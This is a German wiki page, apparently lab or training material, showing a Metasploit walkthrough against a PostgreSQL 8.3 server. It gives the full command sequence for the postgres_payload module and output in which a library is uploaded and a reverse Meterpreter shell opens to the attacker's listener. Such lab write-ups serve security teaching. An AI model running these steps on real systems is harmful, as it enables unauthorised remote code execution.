Metasploit postgres exploit: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 32: | Zeile 32: | ||
[*] Meterpreter session 2 opened (10.0.10.101:4444 -> 10.0.10.105:36002) at 2022-10-19 18:19:37 +0200 | [*] Meterpreter session 2 opened (10.0.10.101:4444 -> 10.0.10.105:36002) at 2022-10-19 18:19:37 +0200 | ||
</pre> | </pre> | ||
| + | *Wir bekommen eine Shell durch eintippen des Wortes "shell" | ||
;Wir haben kein Prompt aber eine Shell | ;Wir haben kein Prompt aber eine Shell | ||
Aktuelle Version vom 20. Oktober 2023, 06:07 Uhr
Gefundene Version
- [*] Nmap: 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
Gibt es eingebaute Schwachstellen zum postgres Server?
- msf6 > search postgres
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
13 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
Module laden
- msf6 > use exploit/linux/postgres/postgres_payload
info
- msf6 exploit(/linux/postgres/postgres_payload) > info
Wir setzen LHOST und LPORT
- msf6 exploit(linux/postgres/postgres_payload) > set LHOST 10.0.10.101
- msf6 exploit(linux/postgres/postgres_payload) > set LPORT 4444
Wir müssen den RHOST setzen
- msf6 exploit(/linux/postgres/postgres_payload) > set RHOSTS 10.0.10.105
Und Attacke
- msf6 exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 10.0.10.101:4444 [*] 10.0.10.105:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) [*] Uploaded as /tmp/hQCBtUmr.so, should be cleaned up automatically [*] Sending stage (1017704 bytes) to 10.0.10.105 [*] Meterpreter session 2 opened (10.0.10.101:4444 -> 10.0.10.105:36002) at 2022-10-19 18:19:37 +0200
- Wir bekommen eine Shell durch eintippen des Wortes "shell"
- Wir haben kein Prompt aber eine Shell